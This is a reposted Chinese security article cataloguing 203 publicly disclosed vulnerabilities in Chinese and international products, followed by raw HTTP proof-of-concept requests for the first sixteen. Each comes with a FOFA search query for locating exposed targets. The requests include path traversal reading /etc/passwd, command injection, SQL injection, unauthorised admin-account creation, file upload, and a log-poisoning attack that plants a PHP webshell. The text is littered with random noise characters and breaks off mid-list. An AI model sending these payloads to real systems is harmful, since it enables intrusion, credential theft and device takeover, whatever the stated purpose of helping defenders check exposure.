互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
6 G$ c# \% w3 c! J, {
5 o) Q  }0 \" b  J* d; L漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

0 g( {7 Z+ W2 D4 d0 t) g8 l  l安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

- M2 T' C* ^, }$ w! }文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
; p5 C& g# P& _3 O! ?& o$ f
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

0 }6 a8 X, d/ h& \5 g) j% r
1 h( m5 w0 `1 C" d: b5 c* r+ ]声明
* g2 y1 e' m% Y$ `& H6 e# T- b
' @6 o! E4 P3 d- N4 p7 O1 H为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
$ [3 \" Q* {2 j4 U) Q# Y% e
7 Q' ?8 F6 Z; S) i有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。

% U% ~) ~/ l& T) P. m: P
2 O6 h6 l3 V8 D& |) p
' m% y8 R5 z# F# A3 e" S' m目录
3 k' B: ?  d6 }. b! ~) I9 |" l
6 T# w# f" K: W6 ?% Q; g1 `01

1. StarRocks MPP数据库未授权访问
) P, c; K* E% ^5 M, @" {, d7 H. B2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
# @* X$ F- H6 G; w4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
0 o2 b& N5 t6 Z( `2 v4 K  ~3 \9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
& g3 C5 h! ?: I7 B1 q8 `" H14. 华夏ERP（jshERP）敏感信息泄露
, X, y" r# z, G, U15. 华夏ERP getAllList信息泄露
0 r% \7 A, [* S( u6 J16. 红帆HFOffice医微云SQL注入
4 T, `) O' {* v/ A9 r' I% Z, u17. 大华 DSS itcBulletin SQL 注入
2 w& L7 l9 K2 y# j9 Q: A& m% k  @, ?18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
% d; N  f4 C; w. @& ~5 _9 Y19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
( b$ _0 P( X' A4 d: ?3 Y8 Z22. 大华ICC智能物联综合管理平台 log4j远程代码执行
+ p7 q3 K# P( J" q: T23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
/ ?7 k$ k5 N7 k+ Z. a4 K" P+ ]25. 用友NC registerServlet JNDI 远程代码执行
6 q" G9 _. Z4 A6 ]: n26. 用友NC linkVoucher SQL注入
7 C. i6 S$ m  t% J' |27. 用友 NC showcontent SQL注入
. p' g  A/ t# `6 B28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
1 b  P; n7 ]& u, B1 i5 P31. 用友NC runStateServlet SQL注入
6 y) |% H2 L( p, h32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
. F2 ~# I9 t' }9 B) ]34. 用友NC warningDetailInfo接口SQL注入
/ j5 ]* b# F4 [. s/ `35. 用友NC-Cloud importhttpscer任意文件上传
1 P- Y$ S; y  d9 A. H! D8 A& ]2 l4 t36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
( B# u- Z) p8 [38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
& |8 B+ F) {; w40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
3 @2 @$ ^! I9 M' D' p0 \42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
8 p; v( Y! @+ x' S45. 用友GRP-U8 ufgovbank XXE
6 N* @% D# c( I. K5 e, G9 W46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
0 o* ^  _$ s/ N6 }2 ?% H51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
5 C, P" T1 K7 }/ l# @  v54. 畅捷通T+ getstorewarehousebystore 远程代码执行
4 q, q! z: X* y. {5 r1 L55. 畅捷通T+ getdecallusers信息泄露
. e% H: g) M2 u- }+ i56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
2 s: V2 e. x. }% o* k5 ^( |57. 畅捷通T+ keyEdit.aspx SQL注入
9 D; ~. ^4 w8 ^( {# }% g6 V58. 畅捷通T+ KeyInfoList.aspx sql注入
2 j# o1 H2 P4 D$ \/ i3 A59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
) z. U- w( F1 X5 b9 @! q4 j% ^$ ?9 \62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
) K# x/ P4 Z( Q5 J64. 捷诚管理信息系统CWSFinanceCommon SQL注入
6 E! q+ \6 @% v" q65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
; g1 d+ i6 \" [67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
: V- Y% v4 `: A9 @71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
% `2 i0 n* t' e4 N72. 致远OA getAjaxDataServlet XXE
9 p0 H6 m$ p) [( }; M: D73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
6 y. L: G1 t& n/ u# g4 u6 ?75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
, B; G4 Y! Y! D) {7 M80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
3 }( N$ N3 l% U' Y+ x5 O" h7 O82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
. f5 r* e8 Y! j6 Y$ @, K85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
7 U) p6 f5 g3 Q6 m( Q& R6 O8 e89. 致远互联FE协作办公平台editflow_manager存在sql注入
8 o! C7 l- [) D$ ?) P: K4 d2 A90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
0 u/ q- C6 s' k2 K# M: B93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
: ^* E% u0 i$ u; k! j. ?- F% G. s, \95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
3 \# D0 I6 v& h. t/ ~+ D9 A! z9 x97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
# t# ~  H; {' E" ^/ c# g( I100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
5 P' V, E6 H5 e  ~& y3 \& c101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
. v, A* s  d( R- u3 p104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
, b. y, K2 s; ~$ E106. SpringBlade dict-biz/list SQL 注入
: ^: \% v) V3 Y107. SpringBlade tenant/list SQL 注入
+ U& ^' J! R* Q: g108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
111. WordPress Plugin HTML5 Video Player SQL注入
# G: R3 n3 f; z5 p112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
/ }* z' V3 d% V# p: d; ]% @* B114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
& w0 ]1 ~# b, ~. [2 C3 i5 W3 [. S0 @117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
! p# s0 F; H# D; i  ?: o% Q, A119. 北京百绰智能S20后台sysmanageajax.php sql注入
: v& i2 m8 h9 J3 r5 K/ \120. 北京百绰智能S40管理平台导入web.php任意文件上传
0 v& |. n8 ]: W& B/ h121. 北京百绰智能S42管理平台userattestation.php任意文件上传
, C' H  e1 c# C% V1 M122. 北京百绰智能s200管理平台/importexport.php sql注入
" q# p7 E* U' c. Z/ m& x: m123. Atlassian Confluence 模板注入代码执行
! ^' Z8 W0 ^9 w9 t" o: a8 m124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
: h+ }4 G9 ]. F* Y9 `8 }$ }127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
6 ^4 f$ y( ?2 ]0 B/ w& x, p129. Adobe ColdFusion 任意文件读取
- f- a9 o9 d  ~3 S. L130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
. H; a9 h" X8 @( K132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
8 P# e" h; v0 C( K' U2 h# j6 o136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
9 f1 e2 m8 l/ R* ?- t1 y138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
4 ~2 Y5 z* V. D139. 福建科立讯通信指挥调度平台editemedia.php sql注入
1 q& S) e- V: L- M5 d- I. z140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
% s% |8 m% T9 ^( j; q: d$ g141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
: Q* S7 p) G* m6 n. E9 E146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
4 ^( |5 X. c8 B, e1 C0 ]7 ~152. Progress Kemp LoadMaster 远程命令执行
+ q# |4 L$ `  Z( e0 r$ T; `153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
8 w( C2 Q# |& \* ]: M" C156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
2 L( B  I- q" c+ [2 [1 V* p159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) U2 R- p/ m8 x1 v165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
2 n% U: |5 ?% {0 C# b3 k; j* p167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
/ x; ]$ Q9 v9 U5 R8 X9 [171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
7 u7 i/ O3 M  r2 P' a4 \175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
2 f' X) y- r# h( P' D9 M7 }176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
5 c* i4 H1 J5 G% q178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
# r- V( ?. \3 R- V" f# X6 q180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
* q1 T) j' l$ w1 O1 ^  M0 K7 b0 e183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
% H* r+ G# v, y) m% B( Z* L187. Mura CMS processAsyncObject SQL注入
1 }& u- w& W# T: G188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( H7 K' w9 ?/ E' p6 M9 v193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
/ l+ F1 J; [  g$ @+ z( I194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
4 U; A1 ?5 U- L# O4 W195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
( j% Y) }; }9 F200. SeaCMS海洋影视管理系统dmku SQL注入
0 p% |' ^  @3 g201. 方正全媒体新闻采编系统 binary SQL注入
% ~/ E. B9 B3 _/ b1 M9 W202. 微擎系统 AccountEdit任意文件上传
6 L* N4 Q$ r7 O; T: v7 c203. 红海云EHR PtFjk 文件上传

POC列表

; P$ X$ O! o+ V02

; i: |  Y/ S1 q0 u1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
" t% T" |, ?3 [4 x8 vGET /mem_tracker HTTP/1.1
* ^  t( _2 R/ ~) b; |Host: URL
3 Y7 s* P9 x; w5 p4 Z& g2 y
8 W& E! C* s7 u* ^' `
2. Casdoor系统static任意文件读取
! J& c; R7 N3 s/ z' N2 hFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
3 O: D: a1 I9 gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
' D: q) Y/ M& y' B2 l$ l* sAccept: */*
/ R# E8 k9 Z: l2 p& s% m$ jAccept-Language: en
- U* m5 @7 Q. H! w8 ]. L2 CAccept-Encoding: gzip
" F6 F( a9 H3 J! |

, I& \3 G. d  M6 B: T3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
5 \, Y8 B. g! y, PGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
7 g; v$ L( Y# b& R/ PHost: xx.xx.xx.xx
4 n. h. x8 H$ V  ]) Q' ^
) [8 H7 G  a; e% @
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

& [/ _4 p* d9 D+ G1 L0 n4 _5 epassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
) V! }- U) d  h6 U( l! vHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
& Q# H% z- s5 h
: a% _; c5 e0 k* `4 B& |, Mname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


9 u! [/ f% z( M5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
) P8 {3 s' R. k* vGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx


) [7 ?# {, [8 y5 Z6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
& E: K/ e& W6 j) wGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

% t4 N' ~2 C; Q1 C/ \% _
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
; _* }; C( [7 o$ B+ ZGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
  R+ }$ x) m8 E& B6 Q  g  _Host:
: i+ o- Q0 T, z) y8 t- n
3 d0 t) T% E- z/ l
/ @" G. L: U) t( t5 P9 n8. 斐讯 Phicomm 路由器RCE
( h5 t1 q: d1 ]FOFA：icon_hash="-1344736688"
- {8 D( w# k! m$ w9 s3 n# D2 o默认账号admin登录后台后，执行操作
  L' R9 Z  ~0 _. M: ~POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
) F# _6 u8 Z% f0 \& s5 {Cookie: sysauth=第一步登录获取的cookie
9 L) ^) @0 [% B0 o4 [7 x4 NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
  a/ Q2 V! G8 |; xUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
2 e: k  ]4 n0 r) L& S; p
%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

$ [3 [$ A+ _6 y! O; E2 Z% h8 V12:00; id;
! w9 e% v$ @; S------WebKitFormBoundaryxbgjoytz
6 L4 m; k( z, V9 G! a6 v2 lContent-Disposition: form-data; name="wifiRebootendrange"

3 L" ^; ~' r' [, @- i$ Q0 [& W%s:
5 ~& z: `7 K& a" B/ Y------WebKitFormBoundaryxbgjoytz
3 A; j. o! f8 p. `Content-Disposition: form-data; name="cururl2"

& _9 D5 D% y* C. b- E
3 q/ F( p% C: X------WebKitFormBoundaryxbgjoytz--
( U& x' F; L, w

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
7 G- J; \6 Q. g: b, GGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

* S) i( u7 D& _# x5 i; L$ q. ~
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

1 b8 t" \4 x5 V0 u10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
* X" F- c' n, I$ \$ BFOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
& Y! m% X: ]4 b9 pAccept-Language: zh-CN,zh;q=0.9
# r+ d6 B; L* {; S+ fConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
7 ~; x: @" D+ J, `6 W5 H# Z
------WebKitFormBoundaryxdgaqmqu
% ?1 K2 K4 e+ [7 w5 \Content-Disposition: form-data; name="file"filename="icfitnya.txt"
! d( Z  A5 d& T; }' VContent-Type: text/html
) Q8 d, ^. Q5 h+ H& A  x; N
) B8 M8 D) o6 [- X/ E- xjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--


! n- B6 A: s& q: `1 J11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
* W1 |2 Z- l, ]; XFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
7 [% j( V5 @6 C" Q' h7 F5 n* oHost: 127.0.0.1
2 Q9 O5 n0 `& N7 b' yPragma: no-cache
Cache-Control: no-cache
$ s. ]. t- [$ TUpgrade-Insecure-Requests: 1
* l) m1 \0 ?8 N3 S$ b. z" v* p6 u. VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 {; m6 {: o" ], J- s4 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. z, ~0 K9 q( G& q/ sAccept-Encoding: gzip, deflate
; Z6 C2 U: [* m. J" XAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

/ j' c6 q+ e/ ^6 H
12. Jorani < 1.0.2 远程命令执行
* v0 P# B$ M& L2 L- t; d# iFOFA：title="Jorani"
第一步先拿到cookie
3 T2 T2 A+ n! E- ?8 [! rGET /session/login HTTP/1.1
2 P& F. y: O1 a1 M8 IHost: 192.168.190.30
$ f, D( _- }* q! FUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
! t! k& }' N3 @' E( s- qAccept-Encoding: gzip
- b1 g. h" D) G" P% m
$ R0 ^; w! {/ H+ [0 V4 J7 i8 |
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
4 s5 E% B0 O& T3 \9 w" q6 ?7 yCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
1 A3 S; X' S9 q! p5 k+ b# oDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 y" s2 u) j; z+ {5 m2 l" j* dLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
) j1 o% E/ f9 w/ J% I+ E5 E* F) QServer: Apache/2.4.54 (Debian)
# d0 _& A- n' S! I" S* @Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

4 z+ Z( d; D7 J' g  ~
POST请求，执行函数并进行base64编码
& D* ?9 R9 q9 `" g7 ^( Y$ e; W0 fPOST /session/login HTTP/1.1
* l& y$ Z  g' I, I' eHost: 192.168.190.30
' r7 H; Y$ [! d0 M1 z* \0 y( LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
0 j, x2 D4 X: {8 c: h7 i; m# N) xCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
" Q+ m0 i( ~+ B. }+ UAccept-Encoding: gzip
9 I, N: ?& i( `; K/ p( z& l6 U
5 |6 Z( T! _( P( r$ ~  v" Jcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
; X' f0 ~' a" D1 G


1 I; B% _* r2 b  O$ b* ^( U& g向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
4 F9 I7 d/ d& O/ p/ U4 n, [GET /pages/view/log-2023-10-24 HTTP/1.1
: R  C: b) a) \6 l/ HHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
( U3 t6 I- }6 [) w9 X( h$ [Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
6 V" i% d( {  f  ZX-REQUESTED-WITH: XMLHttpRequest
0 |- E' B1 U: x* d) H1 dAccept-Encoding: gzip

: k' ]7 h9 q; _+ a( V' ]$ L
13. 红帆iOffice ioFileDown任意文件读取
* P  I% K/ _* c4 }! uFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
! a$ ?: m/ d) uHost: x.x.x.x
* ^( _# y  U5 y% e2 VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
6 I* ]6 H3 F7 L' ]2 m4 W. \, W* ]Connection: close
# l( ?4 D$ g0 x0 V$ ^$ \Accept: */*
7 P/ J3 ]; M! e0 [4 ?Accept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
" J2 L, C8 T" N' w, E/ g泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
0 M: U. \4 V1 s) a" o8 h$ |Accept: */*
Accept-Language: en
  Q/ P6 a( f0 O& Y1 dAccept-Encoding: gzip
) z% u9 I( H  z9 M" \. D) `+ ~
, b& Y  T; @1 U
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
: t/ U- E. Q  }% Q' ^泄露内容包括用户名密码
6 D3 w& E: E& D! m. iGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
: F+ p# Q4 e% @  C! pConnection: close
2 W, Z8 s; _3 [" h( o! v- nAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
/ N1 |# K/ D, MAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
2 U3 |, U# r" Z5 }
5 s% |9 y$ R8 F# {
- k0 v% p# W2 _# w) @16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
7 O* S- i0 I) f, \poc中调用函数计算1234的md5值
